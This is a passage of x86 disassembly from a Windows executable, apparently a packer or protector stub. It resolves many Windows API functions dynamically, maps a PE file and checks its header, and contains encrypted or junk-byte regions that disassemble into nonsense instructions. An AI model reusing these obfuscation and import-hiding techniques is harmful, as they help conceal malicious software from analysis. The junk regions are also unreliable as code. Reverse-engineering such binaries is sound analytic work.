mov ds:dword_51172C, eax
push offset aGettempfilenam ; "GetTempFileNameA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511730, eax
push offset aGettemppatha ; "GetTempPathA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511734, eax
push offset aGetversionexa ; "GetVersionExA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511738, eax
push offset aGettickcount ; "GetTickCount"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51173C, eax
push offset aHeapalloc ; "HeapAlloc"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511740, eax
push offset aHeapfree ; "HeapFree"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511744, eax
push offset aHeapcreate ; "HeapCreate"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511748, eax
push offset aInitializecrit ; "InitializeCriticalSection"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51174C, eax
push offset aDeletecritical ; "DeleteCriticalSection"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511750, eax
push offset aLeavecriticals ; "LeaveCriticalSection"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511754, eax
push offset aLoadlibrarya ; "LoadLibraryA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51175C, eax
push offset aLoadlibraryexa ; "LoadLibraryExA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511758, eax
push offset aLocalalloc ; "LocalAlloc"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511760, eax
push offset aLocalfree ; "LocalFree"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511764, eax
push offset aLockfile ; "LockFile"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511768, eax
push offset aMapviewoffile ; "MapViewOfFile"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51176C, eax
push offset aMultibytetowid ; "MultiByteToWideChar"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511770, eax
push offset aOpenprocess ; "OpenProcess"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511774, eax
push offset aRaiseexception ; "RaiseException"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511778, eax
push offset aReadfile_0 ; "ReadFile"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51177C, eax
push offset aSetenvironment ; "SetEnvironmentVariableA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511780, eax
push offset aSetevent ; "SetEvent"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511784, eax
push offset aSetfilepointer ; "SetFilePointer"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511788, eax
push offset aSetlasterror ; "SetLastError"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51178C, eax
push offset aSetunhandledex ; "SetUnhandledExceptionFilter"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511790, eax
push offset aSleep ; "Sleep"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511794, eax
push offset aTerminateproce ; "TerminateProcess"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511798, eax
push offset aUnlockfile ; "UnlockFile"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51179C, eax
push offset aUnmapviewoffil ; "UnmapViewOfFile"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117A0, eax
push offset aVirtualalloc ; "VirtualAlloc"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117A4, eax
push offset aVirtualfree ; "VirtualFree"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117A8, eax
push offset aVirtualprotect ; "VirtualProtect"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117AC, eax
push offset aVirtualquery ; "VirtualQuery"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117B0, eax
push offset aWaitforsingleo ; "WaitForSingleObject"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117B4, eax
push offset aWidechartomult ; "WideCharToMultiByte"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117B8, eax
push offset aWritefile ; "WriteFile"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117BC, eax
push offset aLstrcmpia ; "lstrcmpiA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117C0, eax
push offset aUser32_dll_1 ; "user32.dll"
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_4FE8D0
push 0
push 0
push 0
push 0EF0000F7h
call ds:dword_50E00C ; RaiseException
loc_4FE8D0: ; CODE XREF: sub_4FE2E0+5DDj
push offset aChangedisplays ; "ChangeDisplaySettingsA"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117C4, eax
push offset aCharupperbuffa ; "CharUpperBuffA"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117C8, eax
push offset aLoadimagea ; "LoadImageA"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117CC, eax
push offset aMessageboxa_0 ; "MessageBoxA"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117D0, eax
push offset aWsprintfa_0 ; "wsprintfA"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117D4, eax
push offset aWvsprintfa ; "wvsprintfA"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117D8, eax
push offset aGdi32_dll_0 ; "gdi32.dll"
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4FE96D
push 0
push 0
push 0
push 0EF0000F6h
call ds:dword_50E00C ; RaiseException
loc_4FE96D: ; CODE XREF: sub_4FE2E0+67Aj
push offset aAddfontresourc ; "AddFontResourceA"
mov eax, [ebp+var_8]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117DC, eax
push offset aCreatecompat_0 ; "CreateCompatibleDC"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117E0, eax
push offset aCreatedibsec_0 ; "CreateDIBSection"
mov edx, [ebp+var_8]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117E4, eax
push offset aDeletedc_0 ; "DeleteDC"
mov eax, [ebp+var_8]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117E8, eax
push offset aRemovefontreso ; "RemoveFontResourceA"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117EC, eax
push offset aBeginpaint ; "BeginPaint"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117F0, eax
push offset aEndpaint ; "EndPaint"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117F4, eax
push offset aGetobjecta ; "GetObjectA"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117F8, eax
push offset aSelectobject_0 ; "SelectObject"
mov edx, [ebp+var_8]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5117FC, eax
push offset aDeleteobject_0 ; "DeleteObject"
mov eax, [ebp+var_8]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511800, eax
push offset aBitblt_0 ; "BitBlt"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511804, eax
push offset aGetwindowthrea ; "GetWindowThreadProcessId"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511808, eax
push offset aSetactivewindo ; "SetActiveWindow"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51180C, eax
push offset aSetforegroundw ; "SetForegroundWindow"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511810, eax
push offset aRegisterclasse ; "RegisterClassExA"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511814, eax
push offset aGetsystemmetri ; "GetSystemMetrics"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511818, eax
push offset aCreatewindowex ; "CreateWindowExA"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51181C, eax
push offset aGetmessagea ; "GetMessageA"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511820, eax
push offset aTranslatemessa ; "TranslateMessage"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511824, eax
push offset aDispatchmessag ; "DispatchMessageA"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511828, eax
push offset aDestroywindo_0 ; "DestroyWindow"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51182C, eax
push offset aEnumwindows ; "EnumWindows"
mov eax, [ebp+var_10]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511830, eax
push offset aDefwindowproca ; "DefWindowProcA"
mov ecx, [ebp+var_10]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511834, eax
push offset aPostmessagea ; "PostMessageA"
mov edx, [ebp+var_10]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511838, eax
push offset aCreatethread ; "CreateThread"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51183C, eax
mov [ebp+var_4], offset dword_5116A4
mov [ebp+var_14], offset dword_511840
jmp short loc_4FEB7A
; ---------------------------------------------------------------------------
loc_4FEB71: ; CODE XREF: sub_4FE2E0:loc_4FEBA9j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_4FEB7A: ; CODE XREF: sub_4FE2E0+88Fj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_14]
jz short loc_4FEBAB
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jnz short loc_4FEBA9
push 0
push 0
push 0
mov ecx, [ebp+var_4]
sub ecx, offset dword_5116A0
sar ecx, 2
sub ecx, 10FFEFFFh
push ecx
call ds:dword_50E00C ; RaiseException
loc_4FEBA9: ; CODE XREF: sub_4FE2E0+8A8j
jmp short loc_4FEB71
; ---------------------------------------------------------------------------
loc_4FEBAB: ; CODE XREF: sub_4FE2E0+8A0j
mov esp, ebp
pop ebp
retn
sub_4FE2E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E298
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFD8h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-24h], 0FFFFFFFFh
mov dword ptr [ebp-20h], 0
mov dword ptr [ebp-28h], 0
mov dword ptr [ebp-1Ch], 0
mov dword ptr [ebp-4], 0
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call ds:dword_5116A8 ; CreateFileA
mov [ebp-24h], eax
cmp dword ptr [ebp-24h], 0FFFFFFFFh
jz short loc_4FEC6C
push 0
mov ecx, [ebp-24h]
push ecx
call ds:dword_511700 ; GetFileSize
mov [ebp-1Ch], eax
cmp dword ptr [ebp-1Ch], 0FFFFFFFFh
jz short loc_4FEC6C
push 0
mov edx, [ebp-1Ch]
push edx
push 0
push 2
push 0
mov eax, [ebp-24h]
push eax
call ds:dword_5116B0 ; CreateFileMappingA
mov [ebp-20h], eax
cmp dword ptr [ebp-20h], 0
jz short loc_4FEC6C
mov ecx, [ebp-1Ch]
push ecx
push 0
push 0
push 4
mov edx, [ebp-20h]
push edx
call ds:dword_51176C ; MapViewOfFile
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_4FEC76
loc_4FEC6C: ; CODE XREF: _5:004FEC19j _5:004FEC2Ej ...
mov ecx, 0EF000001h
call sub_508342
loc_4FEC76: ; CODE XREF: _5:004FEC6Aj
mov eax, [ebp-28h]
mov ecx, [ebp-28h]
add ecx, [eax+3Ch]
mov [ebp-30h], ecx
mov edx, [ebp-30h]
cmp dword ptr [edx], 4550h
jz short loc_4FEC97
mov ecx, 0EF000002h
call sub_508342
loc_4FEC97: ; CODE XREF: _5:004FEC8Bj
mov eax, ds:off_51169C
mov [ebp-34h], eax
mov ecx, [ebp-30h]
mov edx, [ebp+10h]
sub edx, [ecx+34h]
mov [ebp-2Ch], edx
push 1190000h
call near ptr loc_4FDB7D+1
add ds:11417799h, cl ; CODE XREF: _5:004FECCBj
stosd
add eax, 1EEE403Fh
sub al, 39h
inc esi
cmp ebx, [eax+1F877A6Dh]
in al, dx
jle short near ptr loc_4FECB5+2
inc ebx
cwde
out dx, al
pop es
xor eax, [ebx+78F72316h]
adc byte ptr [edi+64h], 71h
jle short near ptr loc_4FED3B+2
xchg eax, ecx
db 2Eh
out 77h, eax
dec edi
sbb esp, edi
jp short loc_4FED3B
lds edx, [ecx+4B7AFC62h]
retn
; ---------------------------------------------------------------------------
db 7Eh, 24h, 82h
dd 0B61C1F80h, 0E756D0C3h, 1E40126Fh, 6B46D1A8h, 0EE0CA412h
dd 0D165F518h, 0AB6AFC15h, 0F6588337h, 5A597004h, 1A93DEAh
dd 35E370C2h, 328E108Eh, 0EA5487D7h, 599515B8h, 0DC957533h
dd 2AB9E510h, 0F6E956BFh, 41D55588h
db 0F7h, 6Ch, 0DAh
; ---------------------------------------------------------------------------
loc_4FED3B: ; CODE XREF: _5:004FECE4j _5:004FECDBj
adc edi, [edi+14D244FBh]
stc
jnz short loc_4FED91
loc_4FED44: ; CODE XREF: _5:004FED45j
xchg eax, edi
loop loc_4FED44
rol esi, 1
inc esp
stosb
arpl bx, si
and ebx, [edx+ecx*2+1D4529E4h] ; CODE XREF: _5:004FEDC7j
out 68h, al
mov esi, 7AF0DD8Eh
mov bl, 0DFh
xchg eax, ebp
jno short loc_4FED9A
jg short loc_4FED80
shr byte ptr [ebx], cl
jg short loc_4FEDCE
mov bh, 10h
cmpsd
mov ah, 2Ah
hlt
; ---------------------------------------------------------------------------
dd 693DAD50h, 3BA234CFh, 6A0C46DFh, 8E90F8F4h, 59E2CEABh
; ---------------------------------------------------------------------------
loc_4FED80: ; CODE XREF: _5:004FED60j
mov ah, [edx+edx*4]
aam 3Bh
stosd
push 7118CCF6h
jle short loc_4FEDB7
add eax, eax
push 0FFFFFFC4h
loc_4FED91: ; CODE XREF: _5:004FED42j
outsb
loope near ptr loc_4FEDEE+3
cmpsb
cmp al, 76h
inc edi
iret
; ---------------------------------------------------------------------------
daa
loc_4FED9A: ; CODE XREF: _5:004FED5Ej
jge short near ptr loc_4FEDC9+1
pop edi
or esi, ebp
aas
jnb short near ptr loc_4FEE04+2
db 67h
das
mov bl, 0C0h
and al, 0E9h
sbb [ebx], cl
dec cl
pop esi
aam 35h
inc edx
dec edi
pop esp
loc_4FEDB2: ; DATA XREF: _6:0050E2A8o
and byte ptr [esi+3Bh], 91h
popf
loc_4FEDB7: ; CODE XREF: _5:004FED8Bj
stosb
mov bh, 7
loc_4FEDBA: ; DATA XREF: _6:0050E2ACo
pop edx
mov ebx, 0EE403F03h
pop ds
sub al, 39h
inc esi
loc_4FEDC4: ; CODE XREF: _5:004FEDD4j
cmp edi, [ecx+6Ch]
jp short near ptr loc_4FED4D+3
loc_4FEDC9: ; CODE XREF: _5:loc_4FED9Aj
jl short near ptr loc_4FEDD6+6
inc ebx
inc esp
aaa
loc_4FEDCE: ; CODE XREF: _5:004FED64j
nop
nop
xor edx, edx
test edx, edx
jnz short loc_4FEDC4
loc_4FEDD6: ; CODE XREF: _5:loc_4FEDC9j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_4FEDE4
jmp short loc_4FEE15
; =============== S U B R O U T I N E =======================================
sub_4FEDE4 proc near ; CODE XREF: _5:004FEDDDp
; DATA XREF: _6:0050E2A0o
cmp dword ptr [ebp-28h], 0
jz short loc_4FEDF4
mov eax, [ebp-28h]
push eax
loc_4FEDEE: ; CODE XREF: _5:004FED92j
call ds:dword_5117A0 ; UnmapViewOfFile
loc_4FEDF4: ; CODE XREF: sub_4FEDE4+4j
cmp dword ptr [ebp-20h], 0
jz short loc_4FEE04
mov ecx, [ebp-20h]
push ecx
call ds:dword_5116A4 ; CloseHandle
loc_4FEE04: ; CODE XREF: sub_4FEDE4+14j
; _5:004FEDA0j
cmp dword ptr [ebp-24h], 0
jz short locret_4FEE14
mov edx, [ebp-24h]
push edx
call ds:dword_5116A4 ; CloseHandle
locret_4FEE14: ; CODE XREF: sub_4FEDE4+24j
retn
sub_4FEDE4 endp
; ---------------------------------------------------------------------------
loc_4FEE15: ; CODE XREF: _5:004FEDE2j
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E2B0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFE88h
push ebx
push esi
push edi
mov dword ptr [ebp-20h], 0
mov dword ptr [ebp-1Ch], 0
mov dword ptr [ebp-4], 0
push 105h
call sub_50835A
add esp, 4
mov [ebp-184h], eax
mov eax, [ebp-184h]
mov [ebp-1Ch], eax
push 104h
mov ecx, [ebp-1Ch]
push ecx
push 0
call ds:dword_511718 ; GetModuleHandleA
push eax
call ds:dword_511714 ; GetModuleFileNameA
mov edx, [ebp+0Ch]
add edx, 82h
mov [ebp-24h], edx
mov eax, [ebp-24h]
mov ecx, [eax]
and ecx, 4
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp-20h], ecx
cmp dword ptr [ebp-20h], 0
jz loc_4FEFFE
lea ecx, [ebp-160h]
call sub_507798
mov dword ptr [ebp-164h], 10h
push 290000h
call near ptr loc_4FDB7D+1
nop
popf
sub ebp, esi
mov cl, 93h
cmp esi, [ebp-2071CF1Dh]
adc [esi+edx], esp
cmp eax, 7CBB222Fh
push ecx
cmc
dec esp
retn
; ---------------------------------------------------------------------------
db 97h, 0B9h, 0ADh
dd 8ABDEFA0h, 9EAD89FBh, 2913CC7h, 0B285F704h, 96CCFC1Ch
dd 7F09E16h, 414E5A1Bh, 5268559Ah, 0CEE6F301h, 5A4DC906h
dd 0AA81500Fh, 2EF9409Bh, 66792330h, 0F898C230h, 0DBDCAA42h
dd 6D7A86E7h, 0CA3421CFh, 12121F2Ch, 2E21267Bh, 41556C53h
dd 7AA1946Fh, 5A2D4F5Ch, 37742DE4h, 3A4FF67Eh, 345119B4h
dd 65810DFEh, 5D294B58h, 6AF5E8E6h, 36541C2Ch, 95B155ABh
dd 0AD011488h, 0A7053D6Bh, 0EB46731h, 0C4A9AD9Ah, 3BEAABB8h
dd 2A000177h, 11364351h, 0F5037066h, 3E3124E8h, 0F96AB34Bh
dd 59670CFAh, 0DB0D434Ch, 0F081716Eh, 0FFB6D7E4h, 8996A2CFh
dd 2180E38Ch, 212F443Ah, 96907314h, 0CDC6D3E1h, 8593E8D6h
dd 24A5A778h, 1C5D4D32h, 0DDE20310h, 0C1357DA8h, 818FECC2h
dd 8EF4A374h, 0E560C6CBh, 0F2E200F3h, 4E41A771h, 82751533h
dd 5D21748Fh, 90902F3Ch, 0C085C033h
db 75h, 0EEh
; ---------------------------------------------------------------------------
loc_4FEFFE: ; CODE XREF: _5:004FEEC0j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_4FF00C
jmp short loc_4FF025
; =============== S U B R O U T I N E =======================================
sub_4FF00C proc near ; CODE XREF: _5:004FF005p
; DATA XREF: _6:0050E2B8o
mov ecx, [ebp-1Ch]
mov [ebp-188h], ecx
mov edx, [ebp-188h]
push edx
call sub_5083DD
add esp, 4
retn
sub_4FF00C endp
; ---------------------------------------------------------------------------
loc_4FF025: ; CODE XREF: _5:004FF00Aj
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF036 proc near ; CODE XREF: sub_50B1EA+1Fp
var_38 = dword ptr -38h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004FF153 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E2C0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 20h
push ebx
push esi
push edi
or [ebp+var_1C], 0FFFFFFFFh
push 0
lea eax, [ebp+var_1C]
push eax
push 3
push 80000000h
push [ebp+arg_0]
call sub_500346
test eax, eax
jz loc_4FF153
cmp [ebp+var_1C], 0FFFFFFFFh
jz loc_4FF153
mov eax, ds:dword_5118E4
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_4FF0A7
mov eax, [ebp+var_2C]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_30], 1
jmp short loc_4FF0AB
; ---------------------------------------------------------------------------
loc_4FF0A7: ; CODE XREF: sub_4FF036+5Cj
and [ebp+var_30], 0
loc_4FF0AB: ; CODE XREF: sub_4FF036+6Fj
movzx eax, [ebp+var_30]
test eax, eax
jz loc_4FF153
and [ebp+var_4], 0
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
push [ebp+var_1C]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4FF120
push [ebp+var_1C]
call sub_505456
pop ecx
mov ecx, [ebp+arg_4]
mov [ecx], eax
cmp [ebp+var_20], 0
jnz short loc_4FF0FF
push ds:off_50E4F8
push 1Fh
push ds:off_50E4FC
call sub_50848C
loc_4FF0FF: ; CODE XREF: sub_4FF036+B4j
mov eax, [ebp+var_20]
mov eax, [eax]
mov [ebp+var_24], eax
push 0FFFFFFFFh
mov [ebp+var_38], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_38]
jmp short loc_4FF155
; ---------------------------------------------------------------------------
loc_4FF120: ; CODE XREF: sub_4FF036+A0j
or [ebp+var_4], 0FFFFFFFFh
call sub_4FF12B
jmp short loc_4FF153
sub_4FF036 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FF12B proc near ; CODE XREF: sub_4FF036+EEp
; DATA XREF: _6:0050E2C8o
mov eax, ds:dword_5118E4
mov [ebp-34h], eax
cmp dword ptr [ebp-34h], 0
jz short loc_4FF146
mov eax, [ebp-34h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_4FF146: ; CODE XREF: sub_4FF12B+Cj
lea eax, [ebp-28h]
push eax
push dword ptr [ebp-1Ch]
call sub_500741
retn
sub_4FF12B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF036
loc_4FF153: ; CODE XREF: sub_4FF036+40j
; sub_4FF036+4Aj ...
xor eax, eax
loc_4FF155: ; CODE XREF: sub_4FF036+E8j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_4FF036
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF166 proc near ; CODE XREF: sub_4FF252+1B5p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
cmp [ebp+arg_4], 0
jz short loc_4FF187
mov ecx, [ebp+arg_4]
mov edi, [ebp+arg_8]
mov esi, [ebp+arg_0]
xor eax, eax
repe cmpsb
jnz loc_4FF24A
loc_4FF187: ; CODE XREF: sub_4FF166+Cj
push 5Ch
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
push eax
call sub_4FC640
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4FF216
mov eax, [ebp+arg_C]
mov byte ptr [eax], 1
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
inc eax
cmp eax, 80h
jbe short loc_4FF1C6
xor eax, eax
jmp loc_4FF24C
; ---------------------------------------------------------------------------
loc_4FF1C6: ; CODE XREF: sub_4FF166+57j
mov ecx, [ebp+var_C]
mov esi, [ebp+arg_8]
add esi, [ebp+arg_4]
mov edi, offset byte_511844
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_C]
and ds:byte_511844[eax], 0
mov eax, [ebp+arg_10]
mov dword ptr [eax], offset byte_511844
push offset byte_511844
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax
call sub_4FC06B
pop ecx
pop ecx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
jmp short loc_4FF24C
; ---------------------------------------------------------------------------
loc_4FF216: ; CODE XREF: sub_4FF166+38j
mov eax, [ebp+arg_C]
and byte ptr [eax], 0
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax
call sub_4FC06B
pop ecx
pop ecx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
mov ecx, [ebp+arg_10]
mov [ecx], eax
mov eax, [ebp+var_10]
jmp short loc_4FF24C
; ---------------------------------------------------------------------------
loc_4FF24A: ; CODE XREF: sub_4FF166+1Bj
xor eax, eax
loc_4FF24C: ; CODE XREF: sub_4FF166+5Bj
; sub_4FF166+AEj ...
pop edi
pop esi
leave
retn 14h
sub_4FF166 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF252 proc near ; CODE XREF: sub_4FF63E+56p
; sub_4FF6DE+90p
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 004FF62B SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E2D0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 44h
push ebx
push esi
push edi
push offset dword_5118C8
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_4], 0
cmp ds:dword_511908, 0
jnz short loc_4FF2A8
push 0FFFFFFFFh
and [ebp+var_4C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_4C]
jmp loc_4FF62D
; ---------------------------------------------------------------------------
loc_4FF2A8: ; CODE XREF: sub_4FF252+3Bj
and [ebp+var_24], 0
lea eax, [ebp+var_24]
push eax
mov eax, ds:dword_511908
add eax, 810h
push eax
push 104h
push [ebp+arg_0]
